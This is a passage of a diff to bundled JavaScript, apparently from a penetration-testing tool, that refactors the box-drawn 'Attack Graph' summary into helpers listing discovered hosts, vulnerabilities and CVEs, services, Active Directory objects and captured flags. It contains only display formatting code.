if (hostNodes.length > 5) lines.push(boxLine(` ... and ${hostNodes.length - 5} more hosts`, w));
|
|
15020
15658
|
} else {
|
|
15021
15659
|
lines.push(boxLine(" (no hosts discovered)", w));
|
|
15022
15660
|
}
|
|
15023
|
-
lines
|
|
15661
|
+
return lines;
|
|
15662
|
+
}
|
|
15663
|
+
function formatVulnSection(findings, vulnNodes, vulnCount, w) {
|
|
15664
|
+
const lines = [];
|
|
15024
15665
|
lines.push(boxLine(`\u26A0 VULNERABILITY (${vulnCount})`, w));
|
|
15025
15666
|
if (findings.length > 0) {
|
|
15026
15667
|
const sortedFindings = [...findings].sort((a, b) => b.confidence - a.confidence).slice(0, 5);
|
|
@@ -15030,52 +15671,88 @@ var formatGraphWithSummary = (state, findings, flags) => {
|
|
|
15030
15671
|
lines.push(boxLine(` \u25CB ${icon} ${f.title.slice(0, 60)}${f.title.length > 60 ? "..." : ""}`, w));
|
|
15031
15672
|
lines.push(boxLine(` ${confLabel(f.confidence).toUpperCase()} \u2502 ${f.severity.toUpperCase()}${cat}`, w));
|
|
15032
15673
|
}
|
|
15033
|
-
if (findings.length > 5) {
|
|
15034
|
-
|
|
15674
|
+
if (findings.length > 5) lines.push(boxLine(` ... and ${findings.length - 5} more findings`, w));
|
|
15675
|
+
const cveFindings = findings.filter((f) => f.title.includes("CVE"));
|
|
15676
|
+
if (cveFindings.length > 0) {
|
|
15677
|
+
const cveList = cveFindings.slice(0, 3).map((f) => f.title.match(/CVE-\d{4}-\d+/)?.[0] ?? f.title).join(", ");
|
|
15678
|
+
const suffix = cveFindings.length > 3 ? ` (+${cveFindings.length - 3} more)` : "";
|
|
15679
|
+
lines.push(boxLine(` \u25CB CVE found: ${cveList}${suffix}`, w));
|
|
15035
15680
|
}
|
|
15036
15681
|
} else if (vulnNodes.length > 0) {
|
|
15037
15682
|
for (const node of vulnNodes.slice(0, 5)) {
|
|
15038
15683
|
lines.push(boxLine(` \u25CB ${node.label}`, w));
|
|
15039
15684
|
}
|
|
15040
|
-
if (vulnNodes.length > 5) {
|
|
15041
|
-
lines.push(boxLine(` ... and ${vulnNodes.length - 5} more`, w));
|
|
15042
|
-
}
|
|
15685
|
+
if (vulnNodes.length > 5) lines.push(boxLine(` ... and ${vulnNodes.length - 5} more`, w));
|
|
15043
15686
|
} else {
|
|
15044
15687
|
lines.push(boxLine(" (no vulnerabilities found)", w));
|
|
15045
15688
|
}
|
|
15046
|
-
|
|
15047
|
-
|
|
15048
|
-
|
|
15049
|
-
|
|
15050
|
-
|
|
15051
|
-
}
|
|
15052
|
-
lines.push(boxLine("", w));
|
|
15689
|
+
return lines;
|
|
15690
|
+
}
|
|
15691
|
+
function formatServiceSection(targets, serviceNodes, serviceCount, w) {
|
|
15692
|
+
const lines = [];
|
|
15693
|
+
const MAX_SHOW = 5;
|
|
15053
15694
|
lines.push(boxLine(`\u2699 SERVICE (${serviceCount})`, w));
|
|
15054
15695
|
if (targets.length > 0) {
|
|
15055
|
-
let
|
|
15056
|
-
const
|
|
15057
|
-
for (const t of targets) {
|
|
15696
|
+
let shown = 0;
|
|
15697
|
+
outer: for (const t of targets) {
|
|
15058
15698
|
for (const p of t.ports) {
|
|
15059
|
-
if (
|
|
15699
|
+
if (shown >= MAX_SHOW) break outer;
|
|
15060
15700
|
lines.push(boxLine(` \u25CB ${formatServiceLabel(t, p)}`, w));
|
|
15061
|
-
|
|
15701
|
+
shown++;
|
|
15062
15702
|
}
|
|
15063
|
-
if (shownServices >= maxShow) break;
|
|
15064
15703
|
}
|
|
15065
15704
|
const totalServices = targets.reduce((sum, t) => sum + t.ports.length, 0);
|
|
15066
|
-
if (totalServices >
|
|
15067
|
-
lines.push(boxLine(` ... and ${totalServices - maxShow} more services`, w));
|
|
15068
|
-
}
|
|
15705
|
+
if (totalServices > MAX_SHOW) lines.push(boxLine(` ... and ${totalServices - MAX_SHOW} more services`, w));
|
|
15069
15706
|
} else if (serviceNodes.length > 0) {
|
|
15070
|
-
for (const node of serviceNodes.slice(0,
|
|
15707
|
+
for (const node of serviceNodes.slice(0, MAX_SHOW)) {
|
|
15071
15708
|
lines.push(boxLine(` \u25CB ${node.label}`, w));
|
|
15072
15709
|
}
|
|
15073
|
-
if (serviceNodes.length >
|
|
15074
|
-
lines.push(boxLine(` ... and ${serviceNodes.length - 5} more`, w));
|
|
15075
|
-
}
|
|
15710
|
+
if (serviceNodes.length > MAX_SHOW) lines.push(boxLine(` ... and ${serviceNodes.length - MAX_SHOW} more`, w));
|
|
15076
15711
|
} else {
|
|
15077
15712
|
lines.push(boxLine(" (no services discovered)", w));
|
|
15078
15713
|
}
|
|
15714
|
+
return lines;
|
|
15715
|
+
}
|
|
15716
|
+
function formatADSection(adNodes, w) {
|
|
15717
|
+
if (adNodes.length === 0) return [];
|
|
15718
|
+
const lines = [];
|
|
15719
|
+
lines.push(boxLine(`\u{1F3F0} ACTIVE DIRECTORY (${adNodes.length})`, w));
|
|
15720
|
+
for (const node of adNodes.slice(0, 5)) {
|
|
15721
|
+
const typeLabel = node.type === "domain" ? "DOMAIN" : node.type === "user-account" ? "USER" : node.type === "gpo" ? "GPO" : node.type === "acl" ? "ACL" : node.type === "certificate-template" ? "CERT" : node.type.toUpperCase();
|
|
15722
|
+
lines.push(boxLine(` \u25CB [${typeLabel}] ${node.label}`, w));
|
|
15723
|
+
}
|
|
15724
|
+
if (adNodes.length > 5) lines.push(boxLine(` ... and ${adNodes.length - 5} more AD objects`, w));
|
|
15725
|
+
return lines;
|
|
15726
|
+
}
|
|
15727
|
+
var formatGraphWithSummary = (state, findings, flags) => {
|
|
15728
|
+
const w = getBoxWidth();
|
|
15729
|
+
const innerDash = w - 2;
|
|
15730
|
+
const targets = state.getAllTargets();
|
|
15731
|
+
const graphStats = state.attackGraph.getStats();
|
|
15732
|
+
const allNodes = state.attackGraph.getAllNodes();
|
|
15733
|
+
const AD_NODE_TYPES = [NODE_TYPE.DOMAIN, NODE_TYPE.USER_ACCOUNT, NODE_TYPE.GPO, NODE_TYPE.ACL, NODE_TYPE.CERTIFICATE_TEMPLATE];
|
|
15734
|
+
const hostNodes = allNodes.filter((n) => n.type === NODE_TYPE.HOST);
|
|
15735
|
+
const serviceNodes = allNodes.filter((n) => n.type === NODE_TYPE.SERVICE);
|
|
15736
|
+
const vulnNodes = allNodes.filter((n) => n.type === NODE_TYPE.VULNERABILITY);
|
|
15737
|
+
const adNodes = allNodes.filter((n) => AD_NODE_TYPES.includes(n.type));
|
|
15738
|
+
const hostCount = hostNodes.length || targets.length;
|
|
15739
|
+
const serviceCount = serviceNodes.length || targets.reduce((sum, t) => sum + t.ports.length, 0);
|
|
15740
|
+
const vulnCount = findings.length;
|
|
15741
|
+
const lines = [];
|
|
15742
|
+
const topTitle = "\u2500\u2500\u2500 Attack Graph ";
|
|
15743
|
+
lines.push(`\u250C${topTitle}${"\u2500".repeat(Math.max(0, innerDash - topTitle.length))}\u2510`);
|
|
15744
|
+
lines.push(boxLine(`\u{1F5A5} ${hostCount} \u26A0 ${vulnCount} \u2699 ${serviceCount}`, w));
|
|
15745
|
+
lines.push(boxLine("", w));
|
|
15746
|
+
lines.push(...formatHostSection(targets, hostNodes, hostCount, w));
|
|
15747
|
+
lines.push(boxLine("", w));
|
|
15748
|
+
lines.push(...formatVulnSection(findings, vulnNodes, vulnCount, w));
|
|
15749
|
+
lines.push(boxLine("", w));
|
|
15750
|
+
lines.push(...formatServiceSection(targets, serviceNodes, serviceCount, w));
|
|
15751
|
+
const adSection = formatADSection(adNodes, w);
|
|
15752
|
+
if (adSection.length > 0) {
|
|
15753
|
+
lines.push(boxLine("", w));
|
|
15754
|
+
lines.push(...adSection);
|
|
15755
|
+
}
|
|
15079
15756
|
if (flags.length > 0) {
|
|
15080
15757
|
lines.push(boxLine("", w));
|
|
15081
15758
|
lines.push(boxLine(`\u{1F3F4} Captured: ${flags.length}`, w));
|